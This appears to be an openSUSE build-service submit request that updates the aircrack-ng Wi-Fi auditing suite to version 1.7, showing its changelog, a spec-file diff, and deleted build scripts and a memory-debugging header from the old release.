Request 5652 (accepted)

Overview

Request 5652 (accepted)

- Update to version 1.7
* Airdecap-ng: Endianness fixes
* Airdecap-ng: Output PCAP as little endian
* Airodump-ng: Fixed blank encryption field when APs have TKIP (and/or CCMP) with WPA2
* Airodump-ng: Updated encryption filter (-t/--encrypt) for WPA3 and OWE
* Airodump-ng: Fixed out-of-order timestamp captures
* Airodump-ng: Ignore NULL PMKID
* Airodump-ng: Fixed dropping management frames with zeroed timestamp
* Airodump-ng: Fixed sorting where sometimes it started with a different field
* Airodump-ng: Allow setting colors only in AP selection mode
* Airodump-ng: Fix crash on 4K Linux console
* Airodump-ng: Fixed issue where existing clients not linked to an AP become hidden when hitting 'o'
* Airodump-ng: Allow use of WiFi 6E 6GHz frequencies
* Airodump-ng: Look for oui.txt in /usr/share/hwdata
* Airgraph-ng: Fixed graphviz package conflict
* Airgraph-ng: Fixed downloading OUI with python3
* Airgraph-ng: Ensure support/ directory is created when installing
* Aircrack-ng: Fixed static compilation
* Aircrack-ng: Fix handshake replay counter logic
* Aircrack-ng: Handle timeout when parsing EAPOL
* Aircrack-ng: Fixed WEP display
* Aircrack-ng: Fixed spurious EXIT messages
* Aircrack-ng: Improved handshake selection by fixing EAPOL timing and clearing state
* Aircrack-ng: Ignore NULL PMKID
* Aircrack-ng: Added Apple M1 detection
* Aireplay-ng: In test mode, detect tampering of sequence number by firmware/driver
* Aireplay-ng: Fixed incorrectly rewritten loops affecting fragmentation attack, and in some cases, SKA fake auth
* Aireplay-ng: Fixed a bunch of instances where packets had their duration updated instead of the sequence number
* Airmon-ng: Fix avahi killing
* Airmon-ng: rewrite service stopping entirely

Created by frispete over 1 year ago
In state accepted
Package maintainers: Mailaender and pbleser

Submit aircrack-ng

Submit package home:frispete / aircrack-ng to package Extra / aircrack-ng

aircrack-ng.changes Changed

@@ -1,4 +1,87 @@
 -------------------------------------------------------------------
+Mon Jan  2 17:43:52 UTC 2023 - Hans-Peter Jansen <hpj@urpla.net>
+
+- Update to version 1.7
+  * Airdecap-ng: Endianness fixes
+  * Airdecap-ng: Output PCAP as little endian
+  * Airodump-ng: Fixed blank encryption field when APs have TKIP (and/or CCMP) with WPA2
+  * Airodump-ng: Updated encryption filter (-t/--encrypt) for WPA3 and OWE
+  * Airodump-ng: Fixed out-of-order timestamp captures
+  * Airodump-ng: Ignore NULL PMKID
+  * Airodump-ng: Fixed dropping management frames with zeroed timestamp
+  * Airodump-ng: Fixed sorting where sometimes it started with a different field
+  * Airodump-ng: Allow setting colors only in AP selection mode
+  * Airodump-ng: Fix crash on 4K Linux console
+  * Airodump-ng: Fixed issue where existing clients not linked to an AP become hidden when hitting 'o'
+  * Airodump-ng: Allow use of WiFi 6E 6GHz frequencies
+  * Airodump-ng: Look for oui.txt in /usr/share/hwdata
+  * Airgraph-ng: Fixed graphviz package conflict
+  * Airgraph-ng: Fixed downloading OUI with python3
+  * Airgraph-ng: Ensure support/ directory is created when installing
+  * Aircrack-ng: Fixed static compilation
+  * Aircrack-ng: Fix handshake replay counter logic
+  * Aircrack-ng: Handle timeout when parsing EAPOL
+  * Aircrack-ng: Fixed WEP display
+  * Aircrack-ng: Fixed spurious EXIT messages
+  * Aircrack-ng: Improved handshake selection by fixing EAPOL timing and clearing state
+  * Aircrack-ng: Ignore NULL PMKID
+  * Aircrack-ng: Added Apple M1 detection
+  * Aireplay-ng: In test mode, detect tampering of sequence number by firmware/driver
+  * Aireplay-ng: Fixed incorrectly rewritten loops affecting fragmentation attack, and in some cases, SKA fake auth
+  * Aireplay-ng: Fixed a bunch of instances where packets had their duration updated instead of the sequence number
+  * Airmon-ng: Fix avahi killing
+  * Airmon-ng: rewrite service stopping entirely
+  * Airmon-ng: Codestyle fixes and code cleanup
+  * Airmon-ng: Added a few Raspberry Pi hardware revisions
+  * Airmon-ng: Fixes for 8812au driver
+  * Airmon-ng: Fix iwlwifi firmware formatting
+  * Airmon-ng: Remove broken KVM detection
+  * Airmon-ng: Show regdomain in verbose mode
+  * Airmon-ng: Updated Raspberry Pi hardware revisions
+  * Airmon-ng: Document frequency usage
+  * Airmon-ng: Add a sleep to help predictable names due to udev sometimes renaming interface
+  * Airmon-ng: Added warning for broken radiotap headers in kernel 5.15 to 5.15.4
+  * Airmon-ng: shellcheck fixes
+  * Airmon-ng: support systemctl as some systems don't support 'service' anymore
+  * Airmon-ng: Fixes for pciutils 3.8, backward compatible
+  * Airbase-ng: use enum for frame type/subtype
+  * Airbase-ng: remove a few IE in association responses
+  * Besside-ng: Support and detect all channels in 5GHz in Auto-Channel mode
+  * OSdep: Search additional IE for channel information
+  * OSdep: Android macro fixes
+  * Patches: Add missing patches that were on https://patches.aircrack-ng.org but not in repo
+  * Patches: Updated freeradius-wpe patch for v3.2.0
+  * Patches: Updated hostapd-wpe patch for v2.10
+  * Patches: Added docker containers to test WPE patches
+  * Autotools: make dist now creates VERSION file
+  * Autotools: Added maintainer mode
+  * Autotools: Initial support for Link Time Optimization (LTO) builds 
+  * Integration tests: Added a new test, and improved some existing ones
+  * Airgraph-ng: switch airodump-join to Python 3
+  * Manpages: Fixes (typos, tools name, etc.) and improvements
+  * README: Updated dependencies and their installation on various distros in README.md and INSTALLING
+  * README: Fixed typos and spelling in README.md and INSTALLING
+  * Packages: Packages on PackageCloud now support any distro using .deb and .rpm, however, it requires reinstalling repo (BREAKING CHANGE)
+  * General: Fix compilation with LibreSSL 3.5
+  * General: Fix issues reported by Infer
+  * General: Updated buildbots
+  * General: Add Linux uclibc support
+  * General: Compilation fixes on macOS with the Apple M1 CPU
+  * General: Removed TravisCI and AppVeyor
+  * General: Use Github Actions for CI (Linux, Win, macOS, code style, and PVS-Studio)
+  * General: Added vscode devcontainer and documentation
+  * General: Fix warnings from PVS-Studio and build with pedantic (See PR2174)
+  * General: Shell script fixes thanks to shellcheck
+  * General: Fixes for GCC 10 and 11
+  * General: Fixed cross-compilation
+  * General: Code refactoring, deduplication, cleanup, and misc code improvements
+  * General: Coverity Scan fixes, which includes memory leaks, race conditions, division by 0, and other issues
+  * General: PVS Studio improvements,fixes and updates
+  * General: Code formatting/style fixes
+  * General: Various fixes and improvements (code, CI, integration tests, coverity)
+  * General: Update bug reporting template and update the process
+
+-------------------------------------------------------------------
 Mon Feb 10 11:09:52 UTC 2020 - Martin Hauke <mardnh@gmx.de>
 
 - Run spec-cleaner

aircrack-ng.spec Changed

@@ -18,8 +18,9 @@
 
 %bcond_without unstable
 %bcond_without sqlite
+
 Name:           aircrack-ng
-Version:        1.6
+Version:        1.7
 Release:        0
 Summary:        A set of tools for auditing wireless networks
 License:        GPL-2.0-or-later
@@ -98,6 +99,7 @@
 
 ## Drop airgraph-ng until dependecy issues with python-graphviz are fixed
 rm -rf %{buildroot}%{python3_sitelib}/graphviz/
+rm -rf %{buildroot}%{python3_sitelib}/airgraphviz/
 rm -rf %{buildroot}%{_bindir}/airgraph-ng
 
 
@@ -143,16 +145,9 @@
 %endif
 %{_mandir}/man1/*.1%{?ext_man}
 %{_mandir}/man8/*.8%{?ext_man}
+%{_datadir}/airgraph-ng/
 %{python3_sitelib}/airdrop
 %{python3_sitelib}/airdrop_ng*
 %{python3_sitelib}/airgraph_ng*
-#
-#%%{python3_sitelib}/graphviz*
-#%%{python3_sitelib}/graphviz/libDumpParse.py
-#%%{python3_sitelib}/graphviz/libOuiParse.py
-#%%{python3_sitelib}/graphviz/lib_Airgraphviz.py
-#%%{python3_sitelib}/graphviz/__pycache__/libDumpParse.cpython-37.pyc
-#%%{python3_sitelib}/graphviz/__pycache__/libOuiParse.cpython-37.pyc
-#%%{python3_sitelib}/graphviz/__pycache__/lib_Airgraphviz.cpython-37.pyc
 
 %changelog

aircrack-ng-1.6.tar.gz/VERSION Deleted

aircrack-ng-1.6.tar.gz/build/cygwin.sh Deleted

aircrack-ng-1.6.tar.gz/build/dist_check.sh Deleted

aircrack-ng-1.6.tar.gz/build/gcrypt.sh Deleted

aircrack-ng-1.6.tar.gz/build/m4/ax_valgrind_check.m4 Deleted

@@ -1,233 +0,0 @@
-# ===========================================================================
-#     http://www.gnu.org/software/autoconf-archive/ax_valgrind_check.html
-# ===========================================================================
-#
-# SYNOPSIS
-#
-#   AX_VALGRIND_CHECK()
-#
-# DESCRIPTION
-#
-#   Checks whether Valgrind is present and, if so, allows running `make
-#   check` under a variety of Valgrind tools to check for memory and
-#   threading errors.
-#
-#   Defines VALGRIND_CHECK_RULES which should be substituted in your
-#   Makefile; and $enable_valgrind which can be used in subsequent configure
-#   output. VALGRIND_ENABLED is defined and substituted, and corresponds to
-#   the value of the --enable-valgrind option, which defaults to being
-#   enabled if Valgrind is installed and disabled otherwise.
-#
-#   If unit tests are written using a shell script and automake's
-#   LOG_COMPILER system, the $(VALGRIND) variable can be used within the
-#   shell scripts to enable Valgrind, as described here:
-#
-#     https://www.gnu.org/software/gnulib/manual/html_node/Running-self_002dtests-under-valgrind.html
-#
-#   Usage example:
-#
-#   configure.ac:
-#
-#     AX_VALGRIND_CHECK
-#
-#   Makefile.am:
-#
-#     @VALGRIND_CHECK_RULES@
-#     VALGRIND_SUPPRESSIONS_FILES = my-project.supp
-#     EXTRA_DIST = my-project.supp
-#
-#   This results in a "check-valgrind" rule being added to any Makefile.am
-#   which includes "@VALGRIND_CHECK_RULES@" (assuming the module has been
-#   configured with --enable-valgrind). Running `make check-valgrind` in
-#   that directory will run the module's test suite (`make check`) once for
-#   each of the available Valgrind tools (out of memcheck, helgrind, drd and
-#   sgcheck), and will output results to test-suite-$toolname.log for each.
-#   The target will succeed if there are zero errors and fail otherwise.
-#
-#   Alternatively, a "check-valgrind-$TOOL" rule will be added, for $TOOL in
-#   memcheck, helgrind, drd and sgcheck. These are useful because often only
-#   some of those tools can be ran cleanly on a codebase.
-#
-#   The macro supports running with and without libtool.
-#
-# LICENSE
-#
-#   Copyright (c) 2014, 2015, 2016 Philip Withnall <philip.withnall@collabora.co.uk>
-#
-#   Copying and distribution of this file, with or without modification, are
-#   permitted in any medium without royalty provided the copyright notice
-#   and this notice are preserved.  This file is offered as-is, without any
-#   warranty.
-
-#serial 9
-
-AC_DEFUN(AX_VALGRIND_CHECK,
-	dnl Check for --enable-valgrind
-	AC_ARG_ENABLE(valgrind,
-	              AS_HELP_STRING(--enable-valgrind, Whether to enable Valgrind on the unit tests),
-	              enable_valgrind=$enableval,enable_valgrind=)
-
-	AS_IF(test "$enable_valgrind" != "no",
-		# Check for Valgrind.
-		AC_CHECK_PROG(VALGRIND,valgrind,valgrind)
-		AS_IF(test "$VALGRIND" = "",
-			AS_IF(test "$enable_valgrind" = "yes",
-				AC_MSG_ERROR(Could not find valgrind; either install it or reconfigure with --disable-valgrind)
-			,
-				enable_valgrind=no
-			)
-		,
-			enable_valgrind=yes
-		)
-	)
-
-	AM_CONDITIONAL(VALGRIND_ENABLED,test "$enable_valgrind" = "yes")
-	AC_SUBST(VALGRIND_ENABLED,$enable_valgrind)
-
-	# Check for Valgrind tools we care about.
-	m4_define(valgrind_tool_list,memcheck, helgrind, drd, exp-sgcheck)
-
-	AS_IF(test "$VALGRIND" != "",
-		m4_foreach(vgtool,valgrind_tool_list,
-			m4_define(vgtooln,AS_TR_SH(vgtool))
-			m4_define(ax_cv_var,ax_cv_valgrind_tool_vgtooln)
-			AC_CACHE_CHECK(for Valgrind tool vgtool,ax_cv_var,
-				ax_cv_var=
-				AS_IF(`$VALGRIND --tool=vgtool --help >/dev/null 2>&1`,
-					ax_cv_var="vgtool"
-				)
-			)
-
-			AC_SUBST(VALGRIND_HAVE_TOOL_vgtooln,$ax_cv_var)
-		)
-	)
-
-VALGRIND_CHECK_RULES='
-# Valgrind check
-#
-# Optional:
-#  - VALGRIND_SUPPRESSIONS_FILES: Space-separated list of Valgrind suppressions
-#    files to load. (Default: empty)
-#  - VALGRIND_FLAGS: General flags to pass to all Valgrind tools.
-#    (Default: --num-callers=30)
-#  - VALGRIND_$toolname_FLAGS: Flags to pass to Valgrind $toolname (one of:
-#    memcheck, helgrind, drd, sgcheck). (Default: various)
-
-# Optional variables
-VALGRIND_SUPPRESSIONS ?= $(addprefix --suppressions=,$(VALGRIND_SUPPRESSIONS_FILES))
-VALGRIND_FLAGS ?= --num-callers=30
-VALGRIND_memcheck_FLAGS ?= --leak-check=full --show-reachable=no
-VALGRIND_helgrind_FLAGS ?= --history-level=approx
-VALGRIND_drd_FLAGS ?=
-VALGRIND_sgcheck_FLAGS ?=
-
-# Internal use
-valgrind_tools = memcheck helgrind drd sgcheck
-valgrind_log_files = $(addprefix test-suite-,$(addsuffix .log,$(valgrind_tools)))
-
-valgrind_memcheck_flags = --tool=memcheck $(VALGRIND_memcheck_FLAGS)
-valgrind_helgrind_flags = --tool=helgrind $(VALGRIND_helgrind_FLAGS)
-valgrind_drd_flags = --tool=drd $(VALGRIND_drd_FLAGS)
-valgrind_sgcheck_flags = --tool=exp-sgcheck $(VALGRIND_sgcheck_FLAGS)
-
-valgrind_quiet = $(valgrind_quiet_$(V))
-valgrind_quiet_ = $(valgrind_quiet_$(AM_DEFAULT_VERBOSITY))
-valgrind_quiet_0 = --quiet
-
-# Support running with and without libtool.
-ifneq ($(LIBTOOL),)
-valgrind_lt = $(LIBTOOL) $(AM_LIBTOOLFLAGS) $(LIBTOOLFLAGS) --mode=execute
-else
-valgrind_lt =
-endif
-
-# Use recursive makes in order to ignore errors during check
-check-valgrind:
-ifeq ($(VALGRIND_ENABLED),yes)
-	-$(foreach tool,$(valgrind_tools), \
-		$(if $(VALGRIND_HAVE_TOOL_$(tool))$(VALGRIND_HAVE_TOOL_exp_$(tool)), \
-			$(MAKE) $(AM_MAKEFLAGS) -k check-valgrind-tool VALGRIND_TOOL=$(tool); \
-		) \
-	)
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-# Valgrind running
-VALGRIND_TESTS_ENVIRONMENT = \
-	$(TESTS_ENVIRONMENT) \
-	env VALGRIND=$(VALGRIND) \
-	G_SLICE=always-malloc,debug-blocks \
-	G_DEBUG=fatal-warnings,fatal-criticals,gc-friendly
-
-VALGRIND_LOG_COMPILER = \
-	$(valgrind_lt) \
-	$(VALGRIND) $(VALGRIND_SUPPRESSIONS) --error-exitcode=1 $(VALGRIND_FLAGS)
-
-check-valgrind-tool:
-ifeq ($(VALGRIND_ENABLED),yes)
-	$(MAKE) check-TESTS \
-		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
-		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
-		LOG_FLAGS="$(valgrind_$(VALGRIND_TOOL)_flags)" \
-		TEST_SUITE_LOG=test-suite-$(VALGRIND_TOOL).log
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-check-valgrind-memcheck:
-ifeq ($(VALGRIND_ENABLED),yes)
-	$(MAKE) check-TESTS \
-		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
-		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
-		LOG_FLAGS="$(valgrind_memcheck_flags)" \
-		TEST_SUITE_LOG=test-suite-memcheck.log
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-check-valgrind-helgrind:
-ifeq ($(VALGRIND_ENABLED),yes)
-	$(MAKE) check-TESTS \
-		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
-		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
-		LOG_FLAGS="$(valgrind_helgrind_flags)" \
-		TEST_SUITE_LOG=test-suite-helgrind.log
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-check-valgrind-drd:
-ifeq ($(VALGRIND_ENABLED),yes)
-	$(MAKE) check-TESTS \
-		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
-		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
-		LOG_FLAGS="$(valgrind_drd_flags)" \
-		TEST_SUITE_LOG=test-suite-drd.log
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-check-valgrind-sgcheck:
-ifeq ($(VALGRIND_ENABLED),yes)
-	$(MAKE) check-TESTS \
-		TESTS_ENVIRONMENT="$(VALGRIND_TESTS_ENVIRONMENT)" \
-		LOG_COMPILER="$(VALGRIND_LOG_COMPILER)" \
-		LOG_FLAGS="$(valgrind_sgcheck_flags)" \
-		TEST_SUITE_LOG=test-suite-sgcheck.log
-else
-	@echo "Need to reconfigure with --enable-valgrind"
-endif
-
-A''M_DISTCHECK_CONFIGURE_FLAGS ?=
-A''M_DISTCHECK_CONFIGURE_FLAGS += --disable-valgrind
-
-MOSTLYCLEANFILES ?=
-MOSTLYCLEANFILES += $(valgrind_log_files)
-
-.PHONY: check-valgrind check-valgrind-tool
-'
-
-	AC_SUBST(VALGRIND_CHECK_RULES)
-	m4_ifdef(_AM_SUBST_NOTMAKE, _AM_SUBST_NOTMAKE(VALGRIND_CHECK_RULES))
-)

aircrack-ng-1.6.tar.gz/build/openssl.sh Deleted

aircrack-ng-1.6.tar.gz/build/travis-format.sh Deleted

@@ -1,68 +0,0 @@
-#!/usr/bin/env bash
-#
-# Copyright (C) 2017 Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-
-
-# Params to script are:
-# 1st = Short name
-# 2nd = Long name
-# 3rd+ = Code/Script under test
-
-set -euf
-
-SHORTNAME="$1"; shift
-LONGNAME="$1"; shift
-
-#
-# Begin our fold
-#
-echo -e 'travis_fold:start:'"${SHORTNAME}"'\n\e0K\e33;1m'"${LONGNAME}"'\e0m'
-
-#
-# Begin a timed block
-#
-if  "$TRAVIS_OS_NAME" == "osx" ; then
-    SHA256SUM="shasum -a 256"
-else
-    SHA256SUM="sha256sum"
-fi
-START=$(python -c 'import time; print "%.9f" % time.time()' | tr -d '.')
-TOKEN=$(echo "${START}" | $SHA256SUM | cut -c1-7)
-echo -e "travis_time:start:${TOKEN}"
-
-
-#
-# Code under test is here!
-#
-set +e
-"$@"
-rc=$?
-set -e
-
-#
-# End a timed block
-#
-END=$(python -c 'import time; print "%.9f" % time.time()' | tr -d '.')
-ELAPSED=$(echo "$END - $START" | bc)
-echo -e "travis_time:end:${TOKEN}:start=${START},finish=${END},duration=${ELAPSED}"
-
-#
-# End our fold
-#
-echo -e "travis_fold:end:${SHORTNAME}"
-
-exit $rc

aircrack-ng-1.6.tar.gz/build/travis-formatting.sh Deleted

@@ -1,45 +0,0 @@
-#!/bin/sh
-
-#
-# Bail on OS X for testing this functionality.
-#
-if  "x${TRAVIS_OS_NAME:-}" = "xosx" ; then
-    exit 0
-fi
-
-#
-# Only works with GCC.
-#
-case "$CC" in
-    clang*|llvm*) exit 0;;
-esac
-
-sudo add-apt-repository -y 'deb http://apt.llvm.org/precise/ llvm-toolchain-precise-3.8 main'
-wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key | sudo apt-key add -
-sudo apt-get update -qq
-sudo apt-get install --allow-unauthenticated -y -qq clang-format-3.8
-
-# check formatting matches clang-format-3.8. Since newer versions can have
-# changes in formatting even without any rule changes, we have to fix on a
-# single version.
-. ./build/clang_format_all.sh
-
-git clean -f
-
-# Print any diff here, so the error message below is the last thing
-git diff
-
-set -e
-
-git diff --quiet || (
-  echo "***************************************************";
-  echo "*** The code is not clean against clang-format  ***";
-  echo "*** Please run clang-format-3.8 and fix the     ***";
-  echo "*** differences then rebase/squash them into    ***";
-  echo "*** the relevant commits. Do not add a commit   ***";
-  echo "*** for just formatting fixes. Thanks!          ***";
-  echo "***************************************************";
-  exit 1;
-  )
-
-exit 0

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/memdbg.h Deleted

@@ -1,276 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- *  This header file should be the LAST header file included within every
- *  .c file within the project.   If there are .h files that have actual
- *  code in them, then this header should be the last include within that
- *  .h file, and that .h file should be the last one included within the
- *  .c file.
- *  ****** NOTE *****
- */
-#if !defined(__MEM_DBG_H_)
-#define __MEM_DBG_H_
-
-// values to use within the MemDbg_Validate() function.
-#define MEMDBG_VALIDATE_MIN 0
-#define MEMDBG_VALIDATE_DEEP 1
-#define MEMDBG_VALIDATE_DEEPER 2
-#define MEMDBG_VALIDATE_DEEPEST 3
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#if (!AC_BUILT || HAVE_UNISTD_H) && !_MSC_VER
-#include <unistd.h>
-#endif
-#include <string.h>
-
-#if defined(MEMDBG_ON)
-
-/*
- * This software was written by Jim Fougeron jfoug AT cox dot net
- * in 2013. No copyright is claimed, and the software is hereby
- * placed in the public domain. In case this attempt to disclaim
- * copyright and place the software in the public domain is deemed
- * null and void, then the software is Copyright (c) 2013 Jim Fougeron
- * and it is hereby released to the general public under the following
- * terms:
- *
- * This software may be modified, redistributed, and used for any
- * purpose, in source and binary forms, with or without modification.
- */
-
-/*
- *  memdbg.h
- *  Memory management debugging (at runtime)
- *
- *   memdbg contains routines detect, and report memory
- *   problems, such as double frees, passing bad pointers to
- *   free, most buffer overwrites.  Also, tracking of non-freed
- *   data, showing memory leaks, can also be shown.
- *
- *  Compilation Options (provided from Makefile CFLAGS)
- *
- *   MEMDBG_ON     If this is NOT defined, then memdbg will
- *       get out of your way, and most normal memory functions
- *       will be called with no overhead at all.
- */
-
-/* these functions can be called by client code. Normally Memdbg_Used() and
- * MemDbg_Display() would be called at program exit. That will dump a list
- * of any memory that was not released.  The MemDbg_Validate() can be called
- * pretty much any time.  That function will walk the memory allocation linked
- * lists, and sqwack if there are problems, such as overwrites, freed memory
- * that
- * has been written to, etc.  It would likely be good to call MemDbg_Validate()
- * within benchmarking, after every format is tested.
- *
- *  TODO:  Add a handle that can be passed to the MemDbg_Used() and
- * MemDbg_Display()
- *  and a function to get the 'current' state of memory as a handle.  Thus, a
- *  format self test could get a handle BEFORE starting, and then check after,
- * and
- *  ONLY show leaked memory from the time the handle was obtained, which was at
- * the
- *  start of the self test. Thus it would only show leaks from that format test.
- *
- *  These functions are NOT thread safe. Do not call them within OMP blocks of
- * code.
- *  Normally, these would be called at program exit, or within things like
- * format
- *  self test code, etc, and not within OMP.  But this warning is here, so that
- *  it is known NOT to call within OMP.
- */
-extern size_t MemDbg_Used(int show_freed);
-extern void MemDbg_Display(FILE *);
-extern void MemDbg_Validate(int level);
-extern void MemDbg_Validate_msg(int level, const char * pMsg);
-extern void MemDbg_Validate_msg2(int level, const char * pMsg, int bShowExData);
-
-/* these functions should almost NEVER be called by any client code. They
- * are listed here, because the macros need to know their names. Client code
- * should almost ALWAYS call malloc() like normal, vs calling MEMDBG_alloc()
- * If MEMDBG_alloc() was called, and MEMDBG_ON was not defined, then this
- * function would not be declared here, AND at link time, the function would
- * not be found.
- * NOTE, these functions should be thread safe in OMP builds (using #pragma omp
- * atomic)
- * also note, memory allocation within OMP blocks SHOULD be avoided if possible.
- * It is
- * very slow, and the thread safety required makes it even slow. This is not
- * only talking
- * about these functions here, BUT malloc/free in general in OMP blocks. AVOID
- * doing that
- * at almost all costs, and performance will usually go up.
- */
-extern void * MEMDBG_alloc(size_t, char *, int);
-extern void * MEMDBG_realloc(const void *, size_t, char *, int);
-extern void MEMDBG_free(const void *, char *, int);
-extern char * MEMDBG_strdup(const char *, char *, int);
-
-#if !defined(__MEMDBG__)
-/* we get here on every file compiled EXCEPT memdbg.c */
-#undef malloc
-#undef realloc
-#undef free
-#undef strdup
-#undef libc_free
-#undef libc_calloc
-#undef libc_malloc
-#define libc_free(a)                                                           \
-	do                                                                         \
-	{                                                                          \
-		if (a) MEMDBG_libc_free(a);                                            \
-		a = 0;                                                                 \
-	} while (0)
-#define libc_malloc(a) MEMDBG_libc_alloc(a)
-#define libc_calloc(a) MEMDBG_libc_calloc(a)
-#define malloc(a) MEMDBG_alloc((a), __FILE__, __LINE__)
-#define calloc(a) MEMDBG_calloc((a), __FILE__, __LINE__)
-#define realloc(a, b) MEMDBG_realloc((a), (b), __FILE__, __LINE__)
-/* this code mimics JtR's FREE_MEM(a) but does it for any MEMDBG_free(a,F,L)
- * call (a hooked free(a) call) */
-#define free(a)                                                                \
-	do                                                                         \
-	{                                                                          \
-		if (a) MEMDBG_free((a), __FILE__, __LINE__);                           \
-		a = 0;                                                                 \
-	} while (0)
-#define strdup(a) MEMDBG_strdup((a), __FILE__, __LINE__)
-
-#endif
-
-/* pass the file handle to write to (normally stderr) */
-#define MEMDBG_PROGRAM_EXIT_CHECKS(a)                                          \
-	do                                                                         \
-	{                                                                          \
-		if (MemDbg_Used(0) > 0) MemDbg_Display(a);                             \
-		MemDbg_Validate_msg2(MEMDBG_VALIDATE_DEEPEST, "At Program Exit", 1);   \
-	} while (0)
-
-typedef struct MEMDBG_HANDLE_t
-{
-	unsigned id;
-	unsigned alloc_cnt;
-	size_t mem_size;
-} MEMDBG_HANDLE;
-
-/*
- * these functions allow taking a memory snapshot, calling some code, then
- * validating that memory
- * is the same after the code.  This will help catch memory leaks and other such
- * problems, within
- * formats and such.  Simply get the snapshot, run self tests (or other), when
- * it exits, check
- * the snapshot to make sure nothing leaked.
- */
-
-/* returning a struct (or passing as params it not super efficient but this is
- * done so infrequently that this is not an issue. */
-MEMDBG_HANDLE MEMDBG_getSnapshot(int id);
-/* will not exit on leaks.  Does exit, on memory overwrite corruption. */
-void MEMDBG_checkSnapshot(MEMDBG_HANDLE);
-/* same as MEMDBG_checkSnapshot() but if exit_on_any_leaks is true, will also
- * exit if leaks found. */
-void MEMDBG_checkSnapshot_possible_exit_on_error(MEMDBG_HANDLE,
-												 int exit_on_any_leaks);
-/*
- * the allocations from mem_alloc_tiny() must call this function to flag the
- * memory they allocate
- * so it is not flagged as a leak, by these HANDLE snapshot functions. 'tiny'
- * memory is expected
- * to leak, until program exit.  At that time, any that was not freed, will be
- * shown as leaked.
- * THIS function is also thread safe. The other checkSnapshot functions are NOT
- * thread safe.
- */
-
-void MEMDBG_tag_mem_from_alloc_tiny(void *);
-
-#else
-/* NOTE, we DO keep one special function here.  We make free a little
- * smarter. this function gets used, even when we do NOT compile with
- * any memory debugging on. This makes free work more like C++ delete,
- * in that it is valid to call it on a NULL. Also, it sets the pointer
- * to NULL, so that we can call free(x) on x multiple times, without
- * causing a crash. NOTE, the multiple frees SHOULD be caught when
- * someone builds and runs with MEMDBG_ON. But when it is off, we do
- * try to protect the program.
- */
-#undef libc_free
-#undef libc_calloc
-#undef libc_malloc
-#define libc_free(a)                                                           \
-	do                                                                         \
-	{                                                                          \
-		if (a) MEMDBG_libc_free(a);                                            \
-		a = 0;                                                                 \
-	} while (0)
-#define libc_malloc(a) MEMDBG_libc_alloc(a)
-#define libc_calloc(a) MEMDBG_libc_calloc(a)
-
-#if !defined(__MEMDBG__)
-/* this code mimics JtR's FREE_MEM(a) but does it for any normal free(a) call */
-// extern void MEMDBG_off_free(void *a);
-//#define free(a)   do { if(a) MEMDBG_off_free(a); a=0; } while(0)
-#endif
-#define MemDbg_Used(a) 0
-#define MemDbg_Display(a)
-#define MemDbg_Validate(a)
-#define MemDbg_Validate_msg(a, b)
-#define MemDbg_Validate_msg2(a, b, c)
-#define MEMDBG_PROGRAM_EXIT_CHECKS(a)
-#define MEMDBG_tag_mem_from_alloc_tiny(a)
-
-#define MEMDBG_HANDLE int
-#define MEMDBG_getSnapshot(a) 0
-#define MEMDBG_checkSnapshot(a)                                                \
-	if (a) printf(" \b")
-#define MEMDBG_checkSnapshot_possible_exit_on_error(a, b)                      \
-	if (a) printf(" \b")
-
-#endif /* MEMDBG_ON */
-
-extern void MEMDBG_libc_free(void *);
-extern void * MEMDBG_libc_alloc(size_t size);
-extern void * MEMDBG_libc_calloc(size_t size);
-
-#endif /* __MEMDBG_H_ */

aircrack-ng-1.6.tar.gz/lib/crypto/sha1-sse2.S Deleted

@@ -1,627 +0,0 @@
-// Cygwin, Apple, Clang, (C) 2018 Joseph Benden (joe@benden.us)
